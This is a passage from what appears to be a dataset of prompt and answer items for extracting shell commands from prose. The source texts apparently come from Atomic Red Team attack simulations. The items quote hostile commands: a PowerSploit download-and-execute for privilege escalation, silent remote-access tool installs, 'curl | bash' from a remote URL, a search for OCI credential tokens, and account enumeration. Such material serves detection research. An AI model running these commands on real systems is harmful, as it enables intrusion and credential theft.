-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable a .NET profiler without registry modifications, use the following command to set process scope environment variables and execute the unmanaged profiler DLL when CLR loads: $env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '#{clsid_guid}'\n$env:COR_PROFILER_PATH = '\"#{file_name}\"'\nPOWERSHELL -c 'Start-Sleep 1'; To identify system owners or users on an endpoint, run the following command sequence which will spawn multiple cmd.exe processes and output results to stdout while also creating computers.txt and usernames.txt files: cmd.exe /C whoami\nwmic useraccount get /ALL\nquser /SERVER:\"#{computer_name}\"\nquser\nqwinsta.exe /server:#{computer_name}\nqwinsta.exe\nfor /F \"tokens=1,2\" %i in ('qwinsta /server:#{computer_name} ^| findstr \"Active Disc\"') do @echo %i | find /v \"#\" | find /v \"console\" || echo %j > computers.txt\n@FOR /F %n in (computers.txt) DO @FOR /F \"tokens=1,2\" %i in ('qwinsta /server:%n ^| findstr \"Active Disc\"') do @echo %i | find /v \"#\" | find /v \"console\" || echo %j > usernames.txt",
    "output": "{\"command_list\": [\"$env:COR_ENABLE_PROFILING = 1\\n$env:COR_PROFILER = '#{clsid_guid}'\\n$env:COR_PROFILER_PATH = '\\\"#{file_name}\\\"'\\nPOWERSHELL -c 'Start-Sleep 1'\\n\", \"cmd.exe /C whoami\\nwmic useraccount get /ALL\\nquser /SERVER:\\\"#{computer_name}\\\"\\nquser\\nqwinsta.exe /server:#{computer_name}\\nqwinsta.exe\\nfor /F \\\"tokens=1,2\\\" %i in ('qwinsta /server:#{computer_name} ^| findstr \\\"Active Disc\\\"') do @echo %i | find /v \\\"#\\\" | find /v \\\"console\\\" || echo %j > computers.txt\\n@FOR /F %n in (computers.txt) DO @FOR /F \\\"tokens=1,2\\\" %i in ('qwinsta /server:%n ^| findstr \\\"Active Disc\\\"') do @echo %i | find /v \\\"#\\\" | find /v \\\"console\\\" || echo %j > usernames.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The networking icon Group Policy can be removed from the registry by executing this command via cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCANetwork /t REG_DWORD /d 1 /f. Be aware that some Group Policy changes might need a system restart.; To remove the battery icon Group Policy for the current user, modify the registry via cmd console with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAPower /t REG_DWORD /d 1 /f. Note that some Group Policy changes may require a system restart.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCANetwork /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCAPower /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker may attempt to download and execute AnyDesk silently via this command, placing the installer on the victim's desktop: Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\AnyDesk.exe\"\nStart-Process $file1 /S;; The LogMeIn installer will be downloaded to the desktop and executed silently using the following command: Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nStart-Process -Wait $file1 /quiet;\nStart-Process 'C:\\Program Files (x86)\\LogMeIn Ignition\\LMIIgnition.exe' \"/S\"",
    "output": "{\"command_list\": [\"Invoke-WebRequest -OutFile C:\\\\Users\\\\$env:username\\\\Desktop\\\\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe\\n$file1 = \\\"C:\\\\Users\\\\\\\" + $env:username + \\\"\\\\Desktop\\\\AnyDesk.exe\\\"\\nStart-Process $file1 /S;\\n\", \"Invoke-WebRequest -OutFile C:\\\\Users\\\\$env:username\\\\Desktop\\\\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi\\n$file1 = \\\"C:\\\\Users\\\\\\\" + $env:username + \\\"\\\\Desktop\\\\LogMeInIgnition.msi\\\"\\nStart-Process -Wait $file1 /quiet;\\nStart-Process 'C:\\\\Program Files (x86)\\\\LogMeIn Ignition\\\\LMIIgnition.exe' \\\"/S\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a file with an alternate data stream and execute its hidden content, use the following command: Add-Content -Path #{ads_file} -Value 'Write-Host \"Stream Data Executed\"' -Stream 'streamCommand'\n$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'\nInvoke-Expression $streamcommand\n; Interact with a remote host by establishing a PowerShell session with this command, which includes network testing and displays 'T1086 PowerShell Session Creation and Use':\nNew-PSSession -ComputerName #{hostname_to_connect}\nTest-Connection $env:COMPUTERNAME\nSet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use -Value \"T1086 PowerShell Session Creation and Use\"\nGet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\nRemove-Item -Force $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\n",
    "output": "{\"command_list\": [\"Add-Content -Path #{ads_file} -Value 'Write-Host \\\"Stream Data Executed\\\"' -Stream 'streamCommand'\\n$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'\\nInvoke-Expression $streamcommand\\n\", \"New-PSSession -ComputerName #{hostname_to_connect}\\nTest-Connection $env:COMPUTERNAME\\nSet-Content -Path $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use -Value \\\"T1086 PowerShell Session Creation and Use\\\"\\nGet-Content -Path $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use\\nRemove-Item -Force $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique shows command execution through environment variables, which can be tested with: export ART='echo \"Atomic Red Team was here... T1059.004\"'\necho $ART |/bin/sh; To showcase the dangers of piping downloads directly to bash, this example first retrieves a script normally, then executes it with bash to reveal hidden commands, via these instructions: cd /tmp\ncurl -s #{remote_url} |bash\nls -la /tmp/art.txt",
    "output": "{\"command_list\": [\"export ART='echo \\\"Atomic Red Team was here... T1059.004\\\"'\\necho $ART |/bin/sh\\n\", \"cd /tmp\\ncurl -s #{remote_url} |bash\\nls -la /tmp/art.txt      \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The credentials can be found in the sessions directory with the command: find #{file_path}/.oci/sessions -name \"token\" -type f 2>/dev/null; For permission groups discovery, execute this multi-command sequence: if [ -x \"$(command -v dscacheutil)\" ]; then dscacheutil -q group; else echo \"dscacheutil is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v dscl)\" ]; then dscl . -list /Groups; else echo \"dscl is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v groups)\" ]; then groups; else echo \"groups is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v id)\" ]; then id; else echo \"id is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v getent)\" ]; then getent group; else echo \"getent is missing from the machine. skipping...\"; fi;\ncat /etc/group",
    "output": "{\"command_list\": [\"find #{file_path}/.oci/sessions -name \\\"token\\\" -type f 2>/dev/null\\n\", \"if [ -x \\\"$(command -v dscacheutil)\\\" ]; then dscacheutil -q group; else echo \\\"dscacheutil is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v dscl)\\\" ]; then dscl . -list /Groups; else echo \\\"dscl is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v groups)\\\" ]; then groups; else echo \\\"groups is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v id)\\\" ]; then id; else echo \\\"id is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v getent)\\\" ]; then getent group; else echo \\\"getent is missing from the machine. skipping...\\\"; fi;\\ncat /etc/group\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
